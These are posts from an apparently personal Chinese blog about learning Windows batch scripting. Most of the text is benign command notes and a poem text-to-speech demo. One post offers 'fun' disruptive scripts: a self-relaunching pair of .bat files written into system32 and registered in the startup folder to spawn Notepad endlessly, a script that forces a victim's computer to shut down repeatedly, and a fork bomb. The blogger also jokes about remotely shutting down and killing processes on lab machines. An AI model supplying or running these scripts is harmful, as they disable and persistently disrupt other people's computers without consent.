一个好玩的批处理程序

@echo off
rem 夜愿
rem 大家可以修改成自己的喜欢的
rem win7可以读中文 xp好像就只能是英文了
echo            《无题》
echo.
echo                  李商隐
echo.
echo 相见时难别亦难,东风无力百花残。
echo 春蚕到死丝方尽,蜡炬成灰泪始干。
echo 晓镜但愁云鬓改,夜吟应觉月光寒。
echo 蓬山此去多无路,青鸟殷勤为探看。
mshta vbscript:createobject(“sapi.spvoice”).speak(“无题”)(window.close)
mshta vbscript:createobject(“sapi.spvoice”).speak(“李商隐”)(window.close)
mshta vbscript:createobject(“sapi.spvoice”).speak(“相见时难别亦难,东风无力百花残,春蚕到死丝方尽,蜡炬成灰泪始干。晓镜但愁云鬓改,夜吟应觉月光寒,蓬山此去多无路,青鸟殷勤为探看。”)(window.close)

批处理

最近在研究批处理。。看的糊里糊涂的。。现在没事发几个好玩的批处理文件玩玩。。不要哪来做坏事哈。。
第一个:
@echo off
echo 怎么样,死机了吧!!!>C:WINDOWSsystem32a.txt
echo @echo off>C:WINDOWSsystem321.bat
echo start notepad C:WINDOWSsystem32a.txt>>C:WINDOWSsystem321.bat
echo start C:WINDOWSsystem322.bat>>C:WINDOWSsystem321.bat
echo exit>>C:WINDOWSsystem321.bat
echo @echo off>C:WINDOWSsystem322.bat
echo start notepad C:WINDOWSsystem32a.txt>>C:WINDOWSsystem322.bat
echo start C:WINDOWSsystem321.bat>>C:WINDOWSsystem322.bat
echo exit>>C:WINDOWSsystem322.bat
echo @echo off>”C:Documents and SettingsAll Users「开始」菜单程序启动a.bat”
echo start C:WINDOWSsystem321.bat>>”C:Documents and SettingsAll Users「开始」菜单程序启动a.bat”
echo exit>>”C:Documents and SettingsAll Users「开始」菜单程序启动a.bat”
start C:WINDOWSsystem321.bat
exit
第二个:让对方重启指定次数
@echo off
if not exist c:1.txt echo. >c:1.txt & goto err1
if not exist c:2.txt echo. >c:2.txt & goto err1
if not exist c:3.txt echo. >c:3.txt & goto err1
if not exist c:4.txt echo. >c:4.txt & goto err1
if not exist c:5.txt echo. >c:5.txt & goto err1
goto err2
:err1
shutdown -s -t 0
:err2
上面可以让对方电脑重启5次后不在重启
第三个比较好玩。。试过就知道了
@echo off
  set a=10
  set b=0
  :tex
  set /a a+=3
  set /a b+=1
  mode con cols=%a% lines=%b%
  if %a% lss 60 goto :tex
  echo O(∩_∩)O 圣诞快乐 O(∩_∩)O
  set a=15,a6,2e,d0,34,8b,4f,9d,5e
  for %%i in (%a%) do (
  ping -n 2 127.1>nul
  color %%i
  )
  for %%i in (%a%,%a%) do (
  ping -n 1 127.1>nul
  color %%i
  )
  >>ms.txt echo */. . . * .
  >>ms.txt echo .* . [] * __
  >>ms.txt echo */ . ./~~~~~~~~~~~~’. ^|◆
  >>ms.txt echo * ,/,..,,………..,.◆
  >>ms.txt echo ^|^| ..▎# ▎田 田 ▎ ^| ▎◆
  >>ms.txt echo ^|^| ^&^&▎ ▎ ▎’^|’▎ o
  >>ms.txt echo ^|^| ##■■■■■■■■■■〓
  msg %username% /w /time:3600 <ms.txt
  del ms.txt
  pause
好了。。大家不要拿来做坏事哈。。批处理的功能比较强大。。后果自负。。呵呵
比如说@echo off
start cmd
%0 三行就能使你的内存over。。呵呵
大家看命令把。。互相学习吧
夜愿 11/4/15

十一……

十一完成了好像暑假就开始的计划哈哈,今天很开心,要是每天都能这样该多好啊~

大饼生日吃个饭还不错~

但愿挫人以后不要胃疼~

晚上以及前几天学习的批处理总结下!

前几天学习的几个基础命令有:md rd ren move find findstr

分别简要说下这几个命令~

md:创建文件夹,这个命令要注意引号的使用

rd:删除文件夹或者整个目录树,这个目录挺强大的,大家有什么顽固文件或者文件夹删不了可以试试这个,当然不是万能的,windows的文件保护机制我没研究过~

ren:文件(夹)的重命名(rename),这个命令要注意的就是通配符的使用

move:顾名思义,这个命令是用来移动文件的,当然他还有重命名文件和目录的问题,要注意的就是跨分区的问题

find:find的参数一大堆,这个熟能生巧,以后多学习学习批处理的经典脚本吧~

findstr:这个显然是上面的变种增强型,要注意中文的使用,涉及到正则表达式,我必须好好研究的东西啊!

第二章的常用的几个网络命令和符号今天也看完了,主要内容如下:

网络命令:ping ipconfig arp start shutdown taskkill在我印象中好像前两个和后两个用的不少哈,倒数第二个曾今在机房搞恶作剧远程关人家的电脑,嘎嘎~

ping:这个是用的最多的显然,当然参数也不少测试网络连接,ping各种ip

ipconfig:这个是查看ip配置的,我记得命令行里面还有一个很重要的nslook的命令很重要的 它的重要功能是域名对应的IP地址,包括A记录和CNAME记录,如果查到的是CNAME记录还会返回别名记录的设置情况

arp:显示和修改“地址解析协议 (ARP)”缓存中的项目,教程里是这么写的,这里给个例子:arp -a IP如果我们有多个网卡,那么使用arp –a 加上对应网卡的IP地址,就可以只显示与该网卡相关的ARP缓存项目。省IP情况下,将显示所有当前 ARP 缓存表。-s参数呢是人工输入一个静态项目,就是人工配置物理mac地址貌似,实现arp绑定,这个其实我不是很懂。-d是人工删除

start:start “title” http://www.baidu.com这样简单一条命令大家都懂了吧~再来一个start “” “%windir%system32NOTEPAD.EXE” “%userprofile%桌面abc.txt”
用NOTEPAD(记事本)打开 桌面上的abc.txt(双引号对付特殊字符和空格)

shutdown:这个命令大家在命令行里面输入就可以知道用法,哈哈,可以做邪恶的事情哦~

taskkill:这个“任务杀”不解释啊~,还有邪恶的远程进程终止~~嘎嘎

还有特殊符号呢~

>和>>两个:重定向符,挺简单的,意思就是传递并且覆盖,>>这个呢可以追加,不覆盖,不错我喜欢哈哈

|:命令管道符,这个之前学习rd命令的时候涉及过哈哈

&,&&,||:组合命令这个感觉和在其他地方学的逻辑运算符有些相反的味道,不爽~

^: 转义字符,可以转义回车,大家试试比如

                                                                      @echo off
                                                                      echo 这是^
                                                                      一个^
                                                                      句子
                                                                      Pause      结果是“这是一个句子”是一句话

%:变量引导符,这个功能实在多,双百分号是变量引用,形式参数引用,模运算,转义字符

“”:这个是界定符,用的太多了~

好吧就这么多总结了下,睡觉,不好一步注意时间有12点半了~

今天很开心,就多学习会~现在去睡觉……

学完attrib del copy xcopy四个命令

好吧,我是标题党~明天来补充内容+备份数据库等资料,博客要搬家咯……

百度了一下rem命令,其实只是个注释~(rem哥说,哥只是个注释,不要迷恋哥)为了增强程序的可读性,rem命令在程序中也扮演着很重要的角色,当然是个默默风险的角色,因为在程序中不被执行,不会显示,当时我就是纳闷它的不被显示~好吧,我愚钝了。还有值得一提的就是“::”同学,他有的时候也能扮演rem的角色,但是rem同学终究是rem同学,因为命令解释器不认为他是一个有效的命令行,  就此点来看, rem 在某些场合下将比 :: 更为适用

至于cd命令,不知为什么在自己电脑上是在实践不起来,不知道是不是xp环境的原因,没时间百度google了~一会要去上课了,等我在虚拟机上搞个2000看看……

昨天的标题中四个命令也是很重要的,自我感觉重要的有两个

copy的一些个用法

合并文件——如下: Continue reading “学完attrib del copy xcopy四个命令”

批处理啊批处理

中午头脑有点乱,心绪有点乱……学习学习

或许写程序能很让人集中注意力,当然我不否认我打dota的时候是注意力最集中的时候,我已经很成功的22天没有打dota了,也很成功的两个半月没有疯狂打dota了……谢谢你W,但是今天头脑乱啊头脑乱,很讨厌大脑不由控制地乱想的感觉,更不用说睡觉了,睡不着的!

前一段时间看到明次百度博客学习批处理的笔记,批处理这个东西虽然现在在windows下用的很少,但是我知道,批处理还是不可或缺的重要的东东啊,为了解决今天中午的烦躁我打开不久之前就下好的批处理的chm教程学习了起来,是的,学习程序也能让你忘掉很多去投入进去!

这一个中午学习了简单的echo dir rem cd 四个命令:

Continue reading “批处理啊批处理”